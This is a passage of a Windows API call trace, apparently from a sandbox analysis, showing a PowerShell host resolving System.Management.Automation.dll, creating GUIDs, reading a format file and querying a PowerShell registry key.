lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.638] GetLastError () returned 0x0 [0149.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.638] GetLastError () returned 0x0 [0149.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.639] GetLastError () returned 0x0 [0149.639] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x5af55a2f, Data2=0xdb3e, Data3=0x4be4, Data4=([0]=0x82, [1]=0x3e, [2]=0xed, [3]=0xe5, [4]=0xbd, [5]=0xaa, [6]=0x84, [7]=0x29))) returned 0x0 [0149.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.639] GetLastError () returned 0x0 [0149.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.639] GetLastError () returned 0x0 [0149.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.639] GetLastError () returned 0x0 [0149.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.639] GetLastError () returned 0x0 [0149.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.640] GetLastError () returned 0x0 [0149.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.640] GetLastError () returned 0x0 [0149.640] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x39602dd7, Data2=0xec03, Data3=0x4ef1, Data4=([0]=0x99, [1]=0xd0, [2]=0x9a, [3]=0xde, [4]=0x46, [5]=0x47, [6]=0xec, [7]=0xab))) returned 0x0 [0149.640] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x8275daee, Data2=0x7ccc, Data3=0x43d3, Data4=([0]=0x8a, [1]=0x75, [2]=0xcc, [3]=0x1c, [4]=0x11, [5]=0x39, [6]=0xea, [7]=0xfe))) returned 0x0 [0149.640] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xf5909f7f, Data2=0xfa6f, Data3=0x42da, Data4=([0]=0x8a, [1]=0xc4, [2]=0x5b, [3]=0xd3, [4]=0x60, [5]=0xe2, [6]=0x69, [7]=0xb2))) returned 0x0 [0149.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.641] GetLastError () returned 0x0 [0149.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.641] GetLastError () returned 0x0 [0149.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.641] GetLastError () returned 0x0 [0149.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.641] GetLastError () returned 0x0 [0149.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.641] GetLastError () returned 0x0 [0149.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.642] GetLastError () returned 0x0 [0149.642] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x9331fcec, Data2=0x5bc5, Data3=0x4889, Data4=([0]=0x92, [1]=0xf0, [2]=0x16, [3]=0xb4, [4]=0xd, [5]=0xc3, [6]=0x86, [7]=0x30))) returned 0x0 [0149.642] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.642] GetLastError () returned 0x0 [0149.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.642] GetLastError () returned 0x0 [0149.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.642] GetLastError () returned 0x0 [0149.642] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.643] VirtualQuery (in: lpAddress=0x2bcf10, lpBuffer=0x2bdf10, dwLength=0x1c | out: lpBuffer=0x2bdf10*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.643] GetLastError () returned 0x0 [0149.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.643] GetLastError () returned 0x0 [0149.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.643] GetLastError () returned 0x0 [0149.643] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.643] VirtualQuery (in: lpAddress=0x2bcf10, lpBuffer=0x2bdf10, dwLength=0x1c | out: lpBuffer=0x2bdf10*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.644] GetLastError () returned 0x0 [0149.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.644] GetLastError () returned 0x0 [0149.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.644] GetLastError () returned 0x0 [0149.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.644] GetLastError () returned 0x0 [0149.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.644] GetLastError () returned 0x0 [0149.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.644] GetLastError () returned 0x0 [0149.644] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.645] VirtualQuery (in: lpAddress=0x2bcf10, lpBuffer=0x2bdf10, dwLength=0x1c | out: lpBuffer=0x2bdf10*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.647] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x9c1e7f, Data2=0xc673, Data3=0x400f, Data4=([0]=0xba, [1]=0x0, [2]=0xe5, [3]=0x68, [4]=0xa7, [5]=0xb1, [6]=0x87, [7]=0x37))) returned 0x0 [0149.648] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x9e58c4a1, Data2=0x88f0, Data3=0x408f, Data4=([0]=0x95, [1]=0xbf, [2]=0x5, [3]=0x97, [4]=0x78, [5]=0x47, [6]=0x1d, [7]=0x1c))) returned 0x0 [0149.650] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x408b4394, Data2=0xa99e, Data3=0x4ffe, Data4=([0]=0xbc, [1]=0x54, [2]=0x34, [3]=0x11, [4]=0x98, [5]=0xa9, [6]=0x4, [7]=0x12))) returned 0x0 [0149.650] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x294fea3f, Data2=0x7fff, Data3=0x4569, Data4=([0]=0x99, [1]=0x4c, [2]=0xed, [3]=0x19, [4]=0x13, [5]=0x91, [6]=0x8c, [7]=0xed))) returned 0x0 [0149.650] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xcb72ca24, Data2=0x402d, Data3=0x41d0, Data4=([0]=0x97, [1]=0x87, [2]=0xf3, [3]=0x9b, [4]=0x18, [5]=0x2b, [6]=0xea, [7]=0x4))) returned 0x0 [0149.651] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x6af736c4, Data2=0x2172, Data3=0x4937, Data4=([0]=0x9a, [1]=0xea, [2]=0xef, [3]=0x3f, [4]=0xc6, [5]=0x81, [6]=0xaa, [7]=0xf8))) returned 0x0 [0149.652] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xa805e51a, Data2=0x80bb, Data3=0x46a9, Data4=([0]=0xba, [1]=0x8, [2]=0x52, [3]=0xd0, [4]=0xec, [5]=0x5c, [6]=0xf, [7]=0x63))) returned 0x0 [0149.652] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x76daf7ba, Data2=0x4645, Data3=0x4b1f, Data4=([0]=0xaa, [1]=0xa7, [2]=0x62, [3]=0xb8, [4]=0x41, [5]=0x72, [6]=0x4c, [7]=0xc8))) returned 0x0 [0149.652] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xa20ce4ab, Data2=0xcb24, Data3=0x48c7, Data4=([0]=0xa2, [1]=0x7f, [2]=0xcd, [3]=0xa1, [4]=0x45, [5]=0x68, [6]=0x38, [7]=0xdd))) returned 0x0 [0149.652] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xea303e65, Data2=0x78d0, Data3=0x470f, Data4=([0]=0xa0, [1]=0x5d, [2]=0xaa, [3]=0x7e, [4]=0x58, [5]=0x45, [6]=0x6e, [7]=0x98))) returned 0x0 [0149.653] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x344 [0149.653] GetLastError () returned 0x0 [0149.653] GetFileType (hFile=0x344) returned 0x1 [0149.654] SetErrorMode (uMode=0x1) returned 0x1 [0149.654] GetFileType (hFile=0x344) returned 0x1 [0149.654] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.152] GetLastError () returned 0x0 [0150.152] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.155] GetLastError () returned 0x0 [0150.156] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.156] GetLastError () returned 0x0 [0150.156] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.156] GetLastError () returned 0x0 [0150.157] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.157] GetLastError () returned 0x0 [0150.157] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.157] GetLastError () returned 0x0 [0150.158] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.158] GetLastError () returned 0x0 [0150.158] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.158] GetLastError () returned 0x0 [0150.158] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.158] GetLastError () returned 0x0 [0150.161] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.161] GetLastError () returned 0x0 [0150.162] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.162] GetLastError () returned 0x0 [0150.162] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.162] GetLastError () returned 0x0 [0150.163] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.163] GetLastError () returned 0x0 [0150.163] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.163] GetLastError () returned 0x0 [0150.164] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.164] GetLastError () returned 0x0 [0150.164] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.164] GetLastError () returned 0x0 [0150.164] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.164] GetLastError () returned 0x0 [0150.169] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.169] GetLastError () returned 0x0 [0150.169] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.169] GetLastError () returned 0x0 [0150.170] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.170] GetLastError () returned 0x0 [0150.170] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.170] GetLastError () returned 0x0 [0150.170] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0xe67, lpOverlapped=0x0) returned 1 [0150.171] GetLastError () returned 0x0 [0150.171] ReadFile (in: hFile=0x344, lpBuffer=0x32ab57b, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32ab57b*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0150.171] GetLastError () returned 0x0 [0150.171] ReadFile (in: hFile=0x344, lpBuffer=0x32abf74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32abf74*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0150.171] GetLastError () returned 0x0 [0150.173] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be5b8 | out: phkResult=0x2be5b8*=0x344) returned 0x0 [0150.174] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x0, lpcbData=0x2be5fc*=0x0 | out: lpType=0x2be600*=0x1, lpData=0x0, lpcbData=0x2be5fc*=0x56) returned 0x0 [0150.174] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x67b350, lpcbData=0x2be5fc*=0x56 | out: lpType=0x2be600*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be5fc*=0x56) returned 0x0 [0150.174] RegCloseKey (hKey=0x344) returned 0x0 [0150.175] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x4f0404ca, Data2=0xa599, Data3=0x4d9a, Data4=([0]=0xbb, [1]=0x5, [2]=0xba, [3]=0x83, [4]=0x70, [5]=0xc7, [6]=0x81, [7]=0xe5))) returned 0x0 [0150.175] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xfb75f2, Data2=0xd899, Data3=0x41db, Data4=([0]=0x95, [1]=0xd0, [2]=0x4b, [3]=0x9f, [4]=0x6, [5]=0x62, [6]=0x4c, [7]=0x7f))) returned 0x0 [0150.176] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x39f28d80, Data2=0xfb25, Data3=0x4707, Data4=([0]=0x86, [1]=0xb0, [2]=0x8d, [3]=0xf6, [4]=0xa6, [5]=0xf7, [6]=0x74, [7]=0x72))) returned 0x0 [0150.176] CoCreateGuid (in: pguid=0x2be628 | out: 